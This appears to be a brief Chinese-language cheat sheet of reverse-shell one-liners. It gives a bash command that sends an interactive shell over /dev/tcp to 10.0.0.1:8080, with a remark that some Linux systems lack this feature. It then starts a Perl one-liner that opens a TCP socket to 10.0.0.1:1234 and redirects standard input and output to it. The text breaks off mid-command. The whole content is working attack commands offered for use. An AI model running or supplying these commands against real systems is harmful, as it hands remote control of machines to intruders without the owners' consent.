bash版本：(注意某些linux不支持) bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 perl版本: perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&…